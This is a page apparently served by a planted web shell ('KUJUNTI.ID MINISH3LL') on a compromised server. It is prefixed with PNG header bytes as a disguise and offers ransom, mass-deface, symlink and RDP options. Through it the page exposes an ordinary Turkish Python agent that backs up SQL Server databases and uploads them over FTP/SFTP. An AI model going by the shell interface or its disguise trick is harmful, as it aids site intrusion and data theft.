\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMaster/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMaster/windows_sql_agent.py


#!/usr/bin/env python3
"""
Windows SQL Server Yedekleme Agent'ı
------------------------------------
Bu script Windows SQL Server üzerinde çalışır ve veritabanı yedeklerini alarak
merkezi yedekleDB24 sunucusuna gönderir.

Kullanım:
- Windows'da servis veya zamanlanmış görev olarak çalıştırılır
- yedekleDB24 API'sinden görevleri çeker
- Yerel SQL Server yedeklerini temp dizinine alır
- Yedeği sıkıştırır
- FTP/SFTP üzerinden merkezi sisteme aktarır
- Sonucu API'ye bildirir
"""
import os
import sys
import time
import shutil
import logging
import requests
import subprocess
import tempfile
import json
import zipfile
import ftplib
import paramiko
import psutil
from datetime import datetime
from pathlib import Path

# Loglama ayarları
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    handlers=[
        logging.FileHandler("sql_agent.log"),
        logging.StreamHandler()
    ]
)
logger = logging.getLogger("windows_sql_agent")

# Agent yapılandırması - bu değerler config.json'dan yüklenebilir
CONFIG = {
    "api_url": "http://yedekledb24.example.com/api/agent",
    "api_key": "YOUR_API_KEY",  # Güvenli bir yöntemle saklanmalı
    "agent_id": "WIN-SQL-AGENT-01",
    "check_interval": 300,  # 5 dakika
    "temp_dir": "C:\\temp\\sqlbackups",
    "min_free_space_gb": 10,  # GB cinsinden minimum boş alan
    "retry_count": 3,
    "sqlcmd_path": r"C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE"
}

def check_disk_space(path, min_gb=10):
    """
    Belirtilen dizinde yeterli boş alan olup olmadığını kontrol eder.
    
    Args:
        path (str): Kontrol edilecek dizin
        min_gb (int): Minimum GB cinsinden boş alan
        
    Returns:
        bool: Yeterli alan varsa True, yoksa False
    """
    # Dizin yoksa oluştur
    os.makedirs(path, exist_ok=True)
    
    # Disk alanını kontrol et
    free_bytes = psutil.disk_usage(path).free
    free_gb = free_bytes / (1024**3)  # Byte -> GB
    
    logger.info(f"Disk kontrolü: {path} dizininde {free_gb:.2f} GB boş alan var.")
    
    return free_gb >= min_gb

def perform_sql_backup(db_name, backup_file, instance="localhost"):
    """
    SQL Server veritabanının yedeğini alır.
    
    Args:
        db_name (str): Veritabanı adı
        backup_file (str): Yedek dosyasının tam yolu
        instance (str): SQL Server instance adı
        
    Returns:
        bool: Başarılı ise True, değilse False
    """
    # BACKUP DATABASE komutu için SQL dosyası oluştur
    sql_file = os.path.join(tempfile.gettempdir(), f"backup_{db_name}_{int(time.time())}.sql")
    backup_command = f"""
    BACKUP DATABASE [{db_name}] 
    TO DISK = N'{backup_file}' 
    WITH NOFORMAT, NOINIT, 
    NAME = N'{db_name}_backup', 
    SKIP, NOREWIND, NOUNLOAD, STATS = 10
    """
    
    with open(sql_file, 'w') as f:
        f.write(backup_command)
    
    # SQLCMD ile yedeği al
    cmd = [
        CONFIG["sqlcmd_path"],
        '-S', instance,
        '-E',  # Windows Authentication
        '-i', sql_file,
        '-b'   # Hata durumunda çıkış
    ]
    
    try:
        logger.info(f"SQL Backup başlatılıyor: {db_name}")
        process = subprocess.run(cmd, capture_output=True, text=True)
        
        # SQL dosyasını temizle
        if os.path.exists(sql_file):
            os.remove(sql_file)
        
        # Başarı kontrolü
        if process.returncode != 0:
            logger.error(f"SQL Backup hatası: {process.stderr}")
            return False
        
        logger.info(f"SQL Backup başarılı: {db_name} -> {backup_file}")
        return True
        
    except Exception as e:
        logger.error(f"SQL Backup işleminde hata: {str(e)}")
        # SQL dosyasını temizlemeyi dene
        if os.path.exists(sql_file):
            os.remove(sql_file)
        return False

def compress_file(input_file, output_file=None):
    """
    Dosyayı ZIP formatında sıkıştırır
    
    Args:
        input_file (str): Sıkıştırılacak dosya
        output_file (str, optional): Çıktı dosyası (None ise input + .zip)
        
    Returns:
        str: Sıkıştırılmış dosya yolu veya None
    """
    if not output_file:
        output_file = input_file + '.zip'
    
    try:
        logger.info(f"Dosya sıkıştırılıyor: {input_file}")
        original_size = os.path.getsize(input_file)
        
        with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zipf:
            zipf.write(input_file, arcname=os.path.basename(input_file))
        
        compressed_size = os.path.getsize(output_file)
        compression_ratio = ((original_size - compressed_size) / original_size) * 100
        
        logger.info(f"Sıkıştırma tamamlandı. Oran: {compression_ratio:.2f}% kazanç")
        logger.info(f"Orijinal: {original_size/1024/1024:.2f} MB, " 
                   f"Sıkıştırılmış: {compressed_size/1024/1024:.2f} MB")
        
        return output_file
    except Exception as e:
        logger.error(f"Dosya sıkıştırma hatası: {str(e)}")
        return None

def upload_to_ftp(local_file, remote_path, ftp_config):
    """
    Dosyayı FTP sunucusuna yükler
    
    Args:
        local_file (str): Yerel dosya yolu
        remote_path (str): Uzak FTP yolu
        ftp_config (dict): FTP yapılandırması
        
    Returns:
        bool: Başarılı ise True, değilse False
    """
    try:
        logger.info(f"FTP yükleme başlatılıyor: {local_file}")
        
        ftp = ftplib.FTP()
        ftp.connect(ftp_config['host'], ftp_config.get('port', 21))
        ftp.login(ftp_config['username'], ftp_config['password'])
        
        # Uzak dizin kontrolü
        remote_dir = os.path.dirname(remote_path)
        try:
            # Dizini oluştur (gerekirse)
            for folder in remote_dir.split('/'):
                if folder and folder != '.':
                    try:
                        ftp.mkd(folder)
                    except:
                        # Dizin zaten var
                        pass
                    ftp.cwd(folder)
        except:
            pass
        
        # Ana dizine dön
        ftp.cwd('/')
        
        # Dosyayı yükle
        with open(local_file, 'rb') as file:
            ftp.storbinary(f'STOR {remote_path}', file)
        
        ftp.quit()
        logger.info(f"FTP yükleme başarılı: {remote_path}")
        return True
        
    except Exception as e:
        logger.error(f"FTP yükleme hatası: {str(e)}")
        return False

def upload_to_sftp(local_file, remote_path, sftp_config):
    """
    Dosyayı SFTP sunucusuna yükler
    
    Args:
        local_file (str): Yerel dosya yolu
        remote_path (str): Uzak SFTP yolu
        sftp_config (dict): SFTP yapılandırması
        
    Returns:
        bool: Başarılı ise True, değilse False
    """
    try:
        logger.info(f"SFTP yükleme başlatılıyor: {local_file}")
        
        transport = paramiko.Transport((sftp_config['host'], sftp_config.get('port', 22)))
        transport.connect(username=sftp_config['username'], password=sftp_config['password'])
        
        sftp = paramiko.SFTPClient.from_transport(transport)
        
        # Uzak dizin kontrolü
        remote_dir = os.path.dirname(remote_path)
        try:
            # Dizini oluştur (gerekirse)
            current_dir = ''
            for folder in remote_dir.split('/'):
                if folder and folder != '.':
                    current_dir += '/' + folder
                    try:
                        sftp.stat(current_dir)
                    except:
                        sftp.mkdir(current_dir)
        except:
            pass
        
        # Dosyayı yükle
        sftp.put(local_file, remote_path)
        
        sftp.close()
        transport.close()
        logger.info(f"SFTP yükleme başarılı: {remote_path}")
        return True
        
    except Exception as e:
        logger.error(f"SFTP yükleme hatası: {str(e)}")
        return False

def get_pending_backup_jobs():
    """
    yedekleDB24 API'sinden bekleyen yedekleme görevlerini alır
    
    Returns:
        list: Backup job listesi
    """
    try:
        url = f"{CONFIG['api_url']}/pending-jobs"
        headers = {
            'X-API-Key': CONFIG['api_key'],
            'X-Agent-ID': CONFIG['agent_id']
        }
        
        response = requests.get(url, headers=headers)
        
        if response.status_code == 200:
            return response.json()['jobs']
        else:
            logger.error(f"API hatası: {response.status_code} - {response.text}")
            return []
            
    except Exception as e:
        logger.error(f"API bağlantı hatası: {str(e)}")
        return []

def update_job_status(job_id, status, message, backup_file=None, backup_size=None):
    """
    Görev durumunu yedekleDB24 API'sine bildirir
    
    Args:
        job_id (int): Görev ID
        status (str): Durum (success, failed)
        message (str): Durum mesajı
        backup_file (str, optional): Yedek dosya yolu
        backup_size (int, optional): Yedek boyutu (byte)
        
    Returns:
        bool: Başarılı ise True, değilse False
    """
    try:
        url = f"{CONFIG['api_url']}/update-job/{job_id}"
        headers = {
            'X-API-Key': CONFIG['api_key'],
            'X-Agent-ID': CONFIG['agent_id'],
            'Content-Type': 'application/json'
        }
        
        data = {
            'status': status,
            'message': message,
            'completed_at': datetime.now().isoformat()
        }
        
        if backup_file:
            data['backup_file'] = backup_file
            
        if backup_size:
            data['backup_size'] = backup_size
            
        response = requests.post(url, headers=headers, json=data)
        
        if response.status_code == 200:
            return True
        else:
            logger.error(f"Durum güncelleme hatası: {response.status_code} - {response.text}")
            return False
            
    except Exception as e:
        logger.error(f"API güncelleme hatası: {str(e)}")
        return False

def process_backup_job(job):
    """
    Yedekleme görevini işler
    
    Args:
        job (dict): Görev bilgileri
        
    Returns:
        bool: Başarılı ise True, değilse False
    """
    job_id = job['id']
    db_name = job['database']
    instance = job.get('instance', 'localhost')
    
    logger.info(f"Görev {job_id} işleniyor: {db_name} veritabanı yedekleniyor")
    
    # Temp dizini kontrolü
    temp_dir = CONFIG['temp_dir']
    os.makedirs(temp_dir, exist_ok=True)
    
    # Disk alanı kontrolü
    if not check_disk_space(temp_dir, CONFIG['min_free_space_gb']):
        error_msg = f"Yetersiz disk alanı: {temp_dir} dizininde en az {CONFIG['min_free_space_gb']} GB boş alan gerekli"
        logger.error(error_msg)
        update_job_status(job_id, "failed", error_msg)
        return False
    
    # Yedek dosya yolunu oluştur
    timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
    backup_file = os.path.join(temp_dir, f"{db_name}_{timestamp}.bak")
    
    # SQL Yedekleme
    if not perform_sql_backup(db_name, backup_file, instance):
        update_job_status(job_id, "failed", "SQL Server yedekleme hatası")
        return False
    
    # Dosya doğrulama
    if not os.path.exists(backup_file) or os.path.getsize(backup_file) == 0:
        update_job_status(job_id, "failed", "Yedek dosyası oluşturulamadı veya boş")
        return False
    
    backup_size = os.path.getsize(backup_file)
    logger.info(f"Yedek alındı: {backup_file} ({backup_size/1024/1024:.2f} MB)")
    
    # Dosya sıkıştırma
    if job.get('compress', True):
        compressed_file = compress_file(backup_file)
        if compressed_file:
            original_file = backup_file
            backup_file = compressed_file
            backup_size = os.path.getsize(backup_file)
            # Orijinal dosyayı sil
            try:
                os.remove(original_file)
            except:
                pass
    
    # Uzak sunucuya yükleme
    storage = job.get('storage', {})
    storage_type = storage.get('type', 'ftp')
    remote_path = storage.get('path', '')
    
    # Uzak yolu oluştur
    remote_filename = os.path.basename(backup_file)
    if remote_path:
        if not remote_path.endswith('/'):
            remote_path += '/'
        remote_full_path = remote_path + remote_filename
    else:
        remote_full_path = remote_filename
    
    # Yükleme
    upload_success = False
    retry_count = CONFIG['retry_count']
    
    while retry_count > 0 and not upload_success:
        if storage_type == 'ftp':
            upload_success = upload_to_ftp(backup_file, remote_full_path, storage)
        elif storage_type == 'sftp':
            upload_success = upload_to_sftp(backup_file, remote_full_path, storage)
        else:
            logger.error(f"Desteklenmeyen depolama türü: {storage_type}")
            break
            
        retry_count -= 1
        if not upload_success and retry_count > 0:
            logger.warning(f"Yükleme başarısız, {retry_count} deneme kaldı")
            time.sleep(10)  # 10 saniye bekle
    
    # Durum güncelleme
    if upload_success:
        update_job_status(
            job_id, 
            "success", 
            f"Yedekleme başarılı: {remote_full_path}",
            backup_file=remote_full_path,
            backup_size=backup_size
        )
        
        # Yerel dosyayı temizle
        try:
            os.remove(backup_file)
        except:
            pass
            
        return True
    else:
        update_job_status(job_id, "failed", "Yedek dosyası yüklenemedi")
        return False

def main():
    """
    Ana fonksiyon
    """
    logger.info(f"Windows SQL Server Yedekleme Agent'ı başlatıldı. Agent ID: {CONFIG['agent_id']}")
    
    # Ana döngü
    while True:
        try:
            # Bekleyen görevleri al
            jobs = get_pending_backup_jobs()
            logger.info(f"{len(jobs)} bekleyen görev bulundu")
            
            # Görevleri işle
            for job in jobs:
                process_backup_job(job)
                
            # Bekleme
            logger.info(f"{CONFIG['check_interval']} saniye bekleniyor...")
            time.sleep(CONFIG['check_interval'])
            
        except KeyboardInterrupt:
            logger.info("Agent durduruldu.")
            break
        except Exception as e:
            logger.error(f"Beklenmeyen hata: {str(e)}")
            time.sleep(60)  # Hata durumunda 1 dakika bekle

if __name__ == "__main__":
    main()

© KUJUNTI.ID